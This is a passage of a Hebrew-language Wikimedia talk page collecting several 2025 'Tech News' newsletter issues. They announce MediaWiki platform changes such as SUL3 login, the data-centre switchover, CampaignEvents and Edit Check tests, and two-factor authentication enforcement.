* כשמפעילים יוצרים רשימת דפים למחיקה באמצעות הרחבת ה-Nuke (מיוחד:מחיקה מרובה), הם יכולים עכשיו גם להוסיף דפי שיחה תואמים ודפי הפניות, גם אם לא נוצרו בדי המשתמש המקורי, במקום למחוק אותם ידנית אחר כך. [https://phabricator.wikimedia.org/T95797]
* העדכון למערכת SUL (התחברות משתמש אחידה), ש[[m:Special:MyLanguage/Tech/News/2025/03|פורסם בעבר]] ואמור ליצור התאמה להגבלות הדפדפנים על עוגיות עבור אתרים מרובים, יתקיים במרץ ובאפריל לכל המשתמשים. הצוות מתכנן לפרוס אותו לכל יצירות החשבונות ב[[wikitech:Deployments/Train#Tuesday|קבוצה 0]], כולל ויקיעברית, השבוע. ראו את [[mw:Special:MyLanguage/MediaWiki Platform Team/SUL3#Deployment|דף המיזם SUL3]] לפרטים ותאריכים.
* בשבוע שעבר נוצר באג שמראה חלק מהאייקונים של הממשק כריבועים שחורים תוך כדי טעינת הדף. זה יתוקן השבוע. [https://phabricator.wikimedia.org/T387351]
* אתר ויקי אחד חדש נוצר: {{int:project-localized-name-group-wikipedia/he}} בשפת [[d:Q2044560|סילוטי]] ([[w:syl:|&lt;code&gt;w:syl:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T386441]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג בהעלאת תמונות בגרסאות ישנות מאוד של פיירפוקס בניידים. [https://phabricator.wikimedia.org/T386400]

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.19|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/10|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W10&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 04:31, 4 במרץ 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28334563 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 11 ==

&lt;section begin=&quot;technews-2025-W11&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/11|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* עורכים המשתמשים במנהל ססמאות יכולים לשים לב לשינויים בקרוב. הדרך בה אתרי ויקי מספקים מידע למנהלי הססמאות לגבי שימוש חוזר בססמאות באתרים שונים השתנתה לא מזמן, כך שחלק ממנהלי הססמאות יכולים עכשיו להציע נתונים באתר ויקי שונה מזה שעבורו נשמרו. כמה ממנהלי הססמאות כבר פעלו בצורה כזאת, ומעכשיו יעשו זאת עבור יותר אתרי ויקי. זה קורה במסגרת [[mw:Special:MyLanguage/MediaWiki Platform Team/SUL3|המיזם SUL3]] שמטרתו לשפר את עבודת ההתחברות האחידה, ולשמור אותה מתואמת עם השינויים בדפדפנים שונים בנושא. [https://phabricator.wikimedia.org/T385520][https://phabricator.wikimedia.org/T384844]
* צוות היישומונים של ויקימדיה מזמין את המשתמשים המעוניינים בכך לעזור לשפר את השימוש בוויקיפדיה במצב ללא אינטרנט או עם אינטרנט מוגבל. לאחר הדיונים ב-[[m:Afrika Baraza|אפריקה ברזה]] והדיון האחרון של [[m:Special:MyLanguage/ESEAP Hub/Meetings|ESEAP]], האתגרים העיקריים כמו חיפוש, עריכה וגישת אופליין נחקרים, כשבעתיד קבוצות מיקוד יעסקו בזה לעומק. כל השפות מתקבלות והתרגום יסופק בהתאם. ניתן לשתף את דעתכם ב[[mw:Special:MyLanguage/Wikimedia Apps/Improving Wikipedia Mobile Apps for Offline &amp; Limited Internet Use|דיון]] או במייל &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;aramadan@wikimedia.org&lt;/bdi&gt;.
* כל אתרי ויקי יהפכו לאתרים לקריאה בלבד למספר דקות ב-19 במרץ. זה מתוכנן לשעה [https://zonestamp.toolforge.org/1742392800 14:00 UTC] (או 16:00 שעון ישראל). מידע נוסף יפורסם בידיעות הטכנולוגיה ובאתרי ויקי שונים בשבועות הקרובים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.20|MediaWiki]]

'''לעומק'''
* הרבעון החדש של [[mw:Special:MyLanguage/Growth/Newsletters/33|עיתון ה-Growth]] זמין עכשיו. הוא כולל עדכונים על הפעלת המודול לעדכוני הקהילה, על השינויים האחרונים ב&quot;הגדרות קהילתיות&quot;, כמו גם על הבדיקה המתקרבת של הצעות למשתמשים חדשים בתוך הערכים.
* ה-API הישן ששימש את יישומון ויקיפדיה באנדרואיד יוסר בסוף מרץ. אין יותר תוכנה המשתמשת בו, אבל משתמשי היישומון שלא ביצעו שדרוג בחצי השנה האחרונה לפני יום ההסרה, 31 במרץ 2025, לא יוכלו להשתמש יותר בתכונת העריכות המוצעות עד שיבצעו שדרוג. ניתן לקרוא [[diffblog:2025/02/24/sunset-of-wikimedia-recommendation-api/|פרטים נוספים]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/11|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W11&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 01:10, 11 במרץ 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28372257 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 12 ==

&lt;section begin=&quot;technews-2025-W12&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/12|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* פעמיים בשנה בסביבות ימי נקודת השוויון צוות האמינות ההנדסית של קרן ויקימידיה (SRE) מבצע [[m:Special:MyLanguage/Tech/Server switch|מעבר שרתי מרכז הנתונים]] במהלכו כל תעבורת הנתונים עוברת ממרכז עיקרי אחד למשנהו. זה יוצר אמינות במקרה של משבר, כי תמיד ניתן יהיה לעבור למרכז נתונים אחר. [http://listen.hatnote.com/ תודות לכלי &quot;הקשיבו לוויקיפדיה&quot;] ניתן לשמוע את המעבר. לפני תחילתו יהיה רצף עריכות, אבל במהלכו יהיה שקט למשך כמה דקות, לפני החזרה לשגרה אחרי השלמת המעבר. ניתן לקרוא [[diffblog:2025/03/12/hear-that-the-wikis-go-silent-twice-a-year/|לגבי הרקע ופרטי תהליך המעבר בבלוג של Diff]]. מי שמעוניין להקשיב למעבר הקרוב מוזמן לעשות זאת ב-[https://zonestamp.toolforge.org/1742392800 19 במרץ בשעה 14:00 UTC], או 16:00 שעון ישראל.

'''עדכונים לעורכים'''

* [https://test.wikipedia.org/w/index.php?title=Special:ContentTranslation&amp;filter-type=automatic&amp;filter-id=previous-edits&amp;active-list=suggestions&amp;from=en&amp;to=es לוח הבקרה המשופר של כלי תרגום התוכן] זמין עכשיו ב-[[phab:T387820|10 ויקיפדיות]], לא כולל בעברית, ויהיה זמין בכולן [[phab:T387821|בקרוב]]. המשתמשים בתצוגת המחשבים שיש להם גישה ל[[mw:Special:MyLanguage/Content translation#Improved translation experience|לוח הבקרה האחיד]] יכולים עכשיו לתרגם פרק חדש בערך, לגלות ולגשת ל[https://ig.m.wikipedia.org/w/index.php?title=Special:ContentTranslation&amp;active-list=suggestions&amp;from=en&amp;to=ig&amp;filter-type=automatic&amp;filter-id=previous-edits מסננים להמלצות על ערכים] המבוססים על נושאים שונים, לגלות ולגשת למסנן [[mw:Special:MyLanguage/Translation suggestions: Topic-based &amp; Community-defined lists|הרשימות המוגדרות בידי הקהילה]], הידועות כ-&quot;אוספים&quot;, במיזמי ויקי ומרתונים.
* בוויקישיתוף הוצגה [[c:Commons:WMF support for Commons/Upload Wizard Improvements#Improve category selection|מערכת חדשה לבחירת קטגוריות מתאימות לקבצים]]: אם בקטגוריה יש תת קטגוריות, המשתמשים יכולים ללחוץ על כפתור החץ שיציג אותן ישירות בטופס ולבחור את הנכונה. הקטגוריה הראשית תמיד תשאר למעלה כדי שאפשר יהיה לחזור אליה. זה עשוי לצמצם את עבודתם של המתנדבים בתיקון או יצירת קטגוריות חדשות. השינוי זמין גם בניידים. מדובר בחלק מהשיפורים המתוכננים באשף ההעלאות.
* צוות הקהילה הטכני מחפש אתרי ויקי המעוניינים להצטרף לניסוי של פעולת [[m:Special:MyLanguage/Community Wishlist Survey 2023/Multiblocks|החסימה המרובה]] והדף &quot;מיוחד:חסימה&quot; החדש שיחל בסוף מרץ. החסימה המרובה מאפשרת למפעילים להשית סוגים שונים של חסימות על אותו משתמש בו זמנית. מפעילים ודיילים המעוניינים לדון בהצטרפות אתר ויקי שלהם לניסוי מוזמנים לכתוב ב[[m:Talk:Community Wishlist Survey 2023/Multiblocks|דף השיחה של המיזם]].
* החל מ-25 במרץ צוות העריכה יתחיל בבדיקה של תכונה חדשה במנגנון Edit Check ב-[[phab:T384372|12 ויקיפדיות]], לא כולל בעברית, המכונה [[mw:Special:MyLanguage/Help:Edit check#Multi-check|Multi-Check]]. חצי מהנרשמים החדשים יראו את כל [[mw:Special:MyLanguage/Help:Edit check#ref|בדיקות המקורות]] במהלך עבודתם, והחצי השני ימשיכו לראות רק המלצה אחת. המטרה היא לבדוק האם המשתמשים מתבלבלים או מאבדים מוטיבציה כשרואים המלצות רבות, אם יש כאלו, בו זמנית. באתרי ויקי הללו התגיות הרלוונטיות לעריכות הללו יפושטו כדי להציג תגיות רבות בעריכה בודדת. השינויים מתועדים ב[[phab:T373949|פבריקטור]]. [https://phabricator.wikimedia.org/T379131]
* [[m:Special:MyLanguage/Global reminder bot|בוט התזכורות הגלובלי]] המודיע למשתמשים לגבי מועד פקיעתן הקרוב של הרשאות זמניות שלהם תומך עכשיו בשמות המקומיים של ההרשאות בכותרות ההודעות. המתרגמים יכולים למצוא את [[m:Global reminder bot/Translation|התיעוד ורשימת התרגומים הקיימים]] כדי לבדוק האם יש צורך ביצירת התרגום או עדכונו.
* בחירת המגדר ב[[Special:GlobalPreferences|העדפות הגלובליות]] המשמשת להצגת פניות הממשק עובדת עכשיו כצפוי ודורסת את ההגדרות המקומיות. [https://phabricator.wikimedia.org/T386584]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:26|התקלה שדווחה|כל {{formatnum:26}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, ביישומון ויקפדיה לאנדרואיד תוקן באג בתצוגה וחיפוש בשימוש בשפות רבות. [https://phabricator.wikimedia.org/T379777]

'''עדכונים לעורכים הטכניים'''
* בהמשך השבוע ישתנה דרך הטעינה של סגנונות Codex. ישנו סיכון קטן שיופיעו תיבות הודעה של הממשק נטולות עיצוב בדפים מסוימים. תוכן המיוצר בידי משתמשים, כמו תבניות, לא יושפע. גאדג'טים יכולים להפגע. ניתן [[phab:T388847|לדווח על הבעיות]] אם יופיעו. בקישור ישנם גם פרטים, צילומי מסך ותיעוד הדרך לתיקון הגאדג'טים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.21|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/12|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W12&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 01:48, 18 במרץ 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28412594 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 13 ==

&lt;section begin=&quot;technews-2025-W13&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/13|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* קרן ויקימדיה מבקשת משוב לגבי [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Product &amp; Technology OKRs|טיוטות של יעדים ותוצאות עיקריות העומדים לעצב את העדפותיהם של המוצרים והטכנולוגיות של הקרן]] לשנה הכספית הבאה המתחילה ביולי. היעדים הם שטחים רחבים ברמה גבוהה, והתוצאות העיקריות הן דרכים הנתונים למדידה לעקוב אחרי הצלחת היעדים. ניתן להשאיר את המשוב בדף השיחה בכל שפה, עדיף עד סוף אפריל.

'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|הרחבת CampaignEvents]] תתחיל לפעול באתרי ויקי רבים, לא כולל בעברית, באפריל 2025, לפי [[m:Special:MyLanguage/CampaignEvents/Deployment status#Global Deployment Plan|תוכנית הפריסה]], והצוות התחיל לפנות לקהילות האתרים הללו. ההרחבה מספקת כלים לארגון, ניהול וקידום פעולות משותפות על גבי אתרי ויקי, כגון אירועים, מרתונים לעורכים, ומיזמי ויקי. ההרחבה כוללת שלושה כלים: [[m:Special:MyLanguage/Event Center/Registration|רישום אירועים]], [[m:Special:MyLanguage/CampaignEvents/Collaboration list|רשימת שיתופי פעולה]], ו[[m:Special:MyLanguage/Campaigns/Foundation Product Team/Invitation list|רשימת הזמנות]]. ההרחבה פועלת כרגע על 13 ויקיפדיות, כולל ויקיאנגלית, ויקיצרפתית וויקיספרדית, וגם בוויקינתונים. ניתן להפנות שאלות ובקשות ל[[mw:Help talk:Extension:CampaignEvents|דף השיחה של ההרחבה]] או בפבריקתור, באמצעות התגית &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot; style=&quot;white-space: nowrap;&quot;&gt;#campaigns-product-team&lt;/bdi&gt;.
* החל מהשבוע של 31 במרץ אתרי ויקי יוכלו לקבוע אילו קבוצות משתמשים יוכלו לראות נרשמים פרטיים ב[[m:Special:MyLanguage/Event Center/Registration|רישום אירועים]], כחלק מהרחבת [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]]. בברירת מחדל ההרשאה ניתנת למארגני האירועים ולמפעילים באתרי ויקי מקומיים. זה בניגוד למצב הנוכחי, בו רק מארגני האירועים מחזיקים בהרשאה. אתרי ויקי יכולים לשנות את מצב ברירת המחדל באמצעות [[m:Special:MyLanguage/Requesting wiki configuration changes|בקשה לשינוי בהגדרות]] בפבריקטור, באמצעות התגית &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot; style=&quot;white-space: nowrap;&quot;&gt;#campaigns-product-team&lt;/bdi&gt;. המשתתפים באירועי העבר יכולים לבטל את הרישום בכל רגע.
* באתרים בהם &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[MediaWiki:Sidebar]]&lt;/bdi&gt; שונה מקומית על המפעילים לבדוק שהוא כולל אלמנט עבור רשימת {{int:specialpages}}. אם לא, עליהם להוסיף אותו באמצעות &lt;code dir=ltr style=&quot;white-space: nowrap;&quot;&gt;* specialpages-url|specialpages&lt;/code&gt;. אתרי ויקי עם תפריט צד תקני יראו את מעבר הקישור מתפריט הכלים לתפריט הצדדי באפריל. [https://phabricator.wikimedia.org/T388927]
* עיצוב מינרווה, המיועד לניידים, משלב הודעות והתרעות באייקון הפעמון, [[File:OOjs UI icon bell.svg|16px|link=|class=skin-invert]]. מזמן הופיע הבאג שבגללו ההודעות וההתרעות הופיעו רק אם היו קיימות התרעות. הבאג תוקן. בעתיד יראו משתמשי מינרווה מונה הודעות והתראות כשיהיו כאלה. [https://phabricator.wikimedia.org/T344029]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* בעורך החזותי התווסף [[mw:VisualEditor/Hooks|הוק חדש בצד הלקוח]] המאפשר למפתחים לשלב תוכנה במהלך עבודתו של העורך. ההוק מחליף את הקיימים, והוא עקבי יותר בין פלטפורמות שונות. בנוסף הוא מספק שימוש גם מחוץ לעריכת הערכים, מה שמאפשר לגאדג'טים לעבוד גם על כלי שיחה. צוות העריכה מתכננן לאסור שימוש ולהסיר את הישנים, כך שכל מקרה בו ההוק החדש לא יתאים יזוהה ו[[phab:T355555|ידווח בפבריקטור]].
* המפתחים המשתמשים בספריית &lt;code dir=ltr&gt;mw.Api&lt;/code&gt; של ג'אווהסקריפט יכולים עכשיו להוסיף זיהוי של הכלי שלהם באמצעות הפרמטר &lt;code dir=ltr&gt;userAgent&lt;/code&gt;. הערך חייב להיות ייחודי לכלי, למשל &lt;br/&gt;&lt;code dir=ltr&gt;var api = new mw.Api( { userAgent: 'GadgetNameHere/1.0.1' } );&lt;/code&gt;. אם אתם תומכים בגאדג'ט או סקריפט, אנא הוסיפו את הפרמטר כדי לעזור בתחזוקת השרת והספרייה וכדי לזהות תעבורת רשת לא חוקית. [https://phabricator.wikimedia.org/T373874][https://foundation.wikimedia.org/wiki/Policy:Wikimedia_Foundation_User-Agent_Policy]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.22|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/13|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W13&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:43, 25 במרץ 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28443127 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 14 ==

&lt;section begin=&quot;technews-2025-W14&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/14|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* צוות העריכה עובד על [[mw:Special:MyLanguage/Edit Check|Edit check]] מסוג חדש, [[mw:Special:MyLanguage/Edit check#26 March 2025|בדיקת הטווס]]. המטרה היא לזהות מושגים לא ניטרליים שעורכים משתמשים בהם בדפי ויקי, כדי להודיע להם שאולי כדאי לשנות אותם לפני פרסום העריכה. המיזם נמצא בשלבים מוקדמים והצוות מקווה לקבל משוב מהקהילות, כשב[[phab:T389445|פבריקטור]] נאספים סוגי המדיניות של אתרי ויקי שונים, תבניות המשתמשות לסימון מושגים כאלו, והמושגים עצמם, בסלנג או מילות מפתח, המשמשים בתיאורי עריכות בשפות הנחקרות עכשיו. ניתן להשתתף באמצעות עריכת הטבלה בפבריקטור, כתיבת תשובה שם, או פניה ישירה למשתמש [[m:user:Trizek (WMF)|Trizek (WMF)]].
* [[mw:Special:MyLanguage/MediaWiki Platform Team/SUL3|מערכת התחברות אחידה]], SUL, עודכנה בכל אתרי ויקי כך שהתחברות ויצירת חשבונות עברו לאתר מרכזי. זה מאפשר להתחבר בהתאם להגבלות דפדפנים לגבי עוגיות מרובות אתרים, מה שמנע עד כה ממשתמשים להישאר מחוברים בחלק מהדפדפנים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:35|התקלה שדווחה|כל {{formatnum:35}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* החל מ-31 במרץ יתחיל צוות הממשקים של מדיה-ויקי בפריסה מוגבלת של מפרט מיוצר של OpenAPI וחוויית ארגז החול מבוססת SwaggerUI עבור [[mw:Special:MyLanguage/API:REST API|REST API]] שונים של מדיה-ויקי. הצוות הזמין מפתחים מקבוצה מוגבלת של קהילות ויקיפדיה שונות, מוויקיפדיה הערבית, הגרמנית, הצרפתית, העברית, בשפת [[w:he:אינטרלינגואה|אינטרלינגואה]], ההולנדית והסינית, לבצע סקירה של התיעוד וניסויים עם ארגז החול והמפרט בשפתן המועדפת. בנוסף למיזמי ויקי הללו יהיו ארגז החול ומפרט ה-OpenAPI זמינים ב[[testwiki:Special:RestSandbox|דף מיוחד של ארגז החול של REST בטסטוויקי]] עבור מפתחים המעדיפים אנגלית. לאחר ההצגה שתמשך כשבועיים הם יהיו זמינים בכל אתרי ויקי.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.23|MediaWiki]]

'''לעומק'''
* לפעמים [[gerrit:c/operations/cookbooks/+/1129184|שינוי קוד קטן בן שורה אחת בלבד]] יכול להיות מאוד משמעותי. במקרה הזה פירושו הוא שפעם ראשונה לאחר שנים רבות ניתן להריץ את כל המחסנית של &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[http://maps.wikimedia.org/ maps.wikimedia.org]&lt;/bdi&gt;, אתר המשמש לצורכי המפות של אתרי ויקי במגוון שפות, משרת מרכזי אחד, עניין שנבדק כל פעם שבוצע [[m:Special:MyLanguage/Tech/Server switch|מעבר מרכזי השרתים]]. זה חשוב מכיוון שבמקרה שאחד ממרכזי השרתים ייהרס עדיין נוכל להמשיך לעבוד. השינוי הזה בא כתוצאה מ[[phab:T216826|עבודה נרחבת]] של שני מפתחים על מעבר החלק האחרון של מחסנית המפות ל-[[w:he:Kubernetes|kubernetes]], שם ניתן לחלק את המשאבים בצורה יעילה יותר מבעבר, כך שנוכל להתמודד עם יותר תעבורה במרכז שרתים אחד. העבודה כללה הרבה צעדים מורכבים מכיוון שהתוכנה והספריות בהן השתמשה דרשו מספר רב של שדרוגים שהיו צריכים להיעשות כבר מזמן. סוג עבודה כזה הופך את תשתית ויקימדיה לבת קיימא יותר.

'''פגישות ואירועים'''
* [[mw:Special:MyLanguage/MediaWiki Users and Developers Workshop Spring 2025|סדנת האביב של משתמשי ומפתחי מדיה-ויקי לשנת 2025]] תערך בסנדוסקי שבמדינת אוהיו ואונליין בין 14 ל-16 במאי 2025. הסדנה תכלול דיונים לגבי שימוש בתוכנת מדיה-ויקי בידי חברות בתעשיות שונות ותעודד ותטמיע משתמשים חדשים. רישום וקביעת ההרצאות פתוחים עכשיו באתר הסדנה.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/14|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W14&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:05, 1 באפריל 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28473566 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 15 ==

&lt;section begin=&quot;technews-2025-W15&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/15|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* מעכשיו [[m:Special:MyLanguage/Interface administrators|עורכי ממשק]] ו[[m:Special:MyLanguage/Central notice administrators|מפעילים לבאנרים גלובליים]] נדרשים להדליק את [[m:Special:MyLanguage/Help:Two-factor authentication|האימות הדו-שלבי]] באמצעות אכיפה בכלים טכניים כדי להשתמש בהרשאותיהם. בעתיד זה יכול להתרחב לקבוצות נוספות בעלות הרשאות מתקדמות. [https://phabricator.wikimedia.org/T150898]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:20|התקלה שדווחה|כל {{formatnum:20}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* צוות עיצוב המערכת מתכונן לפריסה של גרסה משמעותית חדשה של  Codex &amp;rlm; (v2.0.0) ב-29 באפריל. על העורכים והמפתחים המשתמשים ב-CSS של Codex לעבור על [[mw:Codex/Release Timeline/2.0|תיעוד הגרסה]] הכולל הנחיות לגבי מספר שינויים לא תואמים לאחור, דוגמת &lt;code dir=ltr style=&quot;white-space: nowrap;&quot;&gt;font-size&lt;/code&gt;, &lt;code dir=ltr style=&quot;white-space: nowrap;&quot;&gt;line-height&lt;/code&gt; או &lt;code dir=ltr style=&quot;white-space: nowrap;&quot;&gt;size-icon&lt;/code&gt;.
* תוצאות [[mw:Developer Satisfaction Survey/2025|סקר שביעות הרצון לשנת 2025]] זמינות עכשיו. תודה לכל המשתתפים. התוצאות הללו עוזרות לקרן להחליט כיצד לעבוד להבא ולהעריך את העבודה שנעשתה עד כה.
